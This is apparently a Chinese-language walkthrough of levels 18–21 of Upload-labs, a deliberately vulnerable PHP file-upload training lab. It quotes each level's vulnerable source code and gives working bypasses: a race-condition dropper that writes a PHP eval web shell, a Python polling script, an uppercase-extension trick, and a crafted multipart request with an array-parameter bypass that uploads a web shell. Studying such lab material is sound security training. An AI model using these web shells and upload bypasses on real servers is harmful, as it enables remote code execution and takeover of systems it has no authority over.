Upload-labs-18-21

本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关

测试的靶机是作者自己购买的vps搭建的环境，使用了白名单形式访问！

Pass-18

• 查看本关卡代码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

• 确认了代码，存在条件竞争漏洞，大概意思就是如果能在上传的一句话木马被删除之前访问成功了，那么就可以拿shell了
• 此类拿shell代码如下：

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['ant'])?>');?>

• 将上述文件保存为tjjz.php文件，然后通过burpsuite进行抓包上传，然后使用null  payload进行不停的重放
• 使用python脚本访问目标 http://106.54.35.126/upload/tjjz.php
• python脚本如下：

import requests
url = "http://106.54.35.126/upload/tjjz.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

• 当python脚本访问成功的时候就说明成功将tjjz.php文件写入到目标上传目录了
• 具体看如下：我这测试没跑出来，大家可以多试试

Pass-19

• 查看本关卡代码

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

• 此关卡跟上一关卡一样，同样是条件竞争，但是此关卡的是需要通过上传图片木马，然后不断的通过文件包含访问图片木马
• 具体参考：https://www.zhaosimeng.cn/writeup/74.html

Pass-20

• 查看本关卡代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

• 此关卡根据源码和提示，得知在上传php文件的时候过滤不严格，可以通过上传的时候指定后缀名称为大写PHP即可绕过限制直接上传一句话拿shell

Pass-21

• 查看本关卡代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

• 具体分析请查看：https://www.zhaosimeng.cn/writeup/78.html
• 通过burpsuite构造如下请求包拿shell，注意：我这里测试不成功，因为我的环境是docker下搭建的Linux环境，此关卡生成的文件是后缀带点的，如果是Windows环境，会被删除点，而Linux环境不会，这个前面关卡讲过了
• 数据包如下：

POST /Pass-21/index.php HTTP/1.1
Host: 106.54.35.126
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://106.54.35.126/Pass-21/index.php
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8179316247298
Content-Length: 538

-----------------------------8179316247298
Content-Disposition: form-data; name="upload_file"; filename="antfx.php"
Content-Type: image/jpeg

<?php @eval($_POST['ant']);?>
-----------------------------8179316247298
Content-Disposition: form-data; name="save_name[0]"

bmfxphp.php
-----------------------------8179316247298
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------8179316247298
Content-Disposition: form-data; name="submit"

涓婁紶
-----------------------------8179316247298--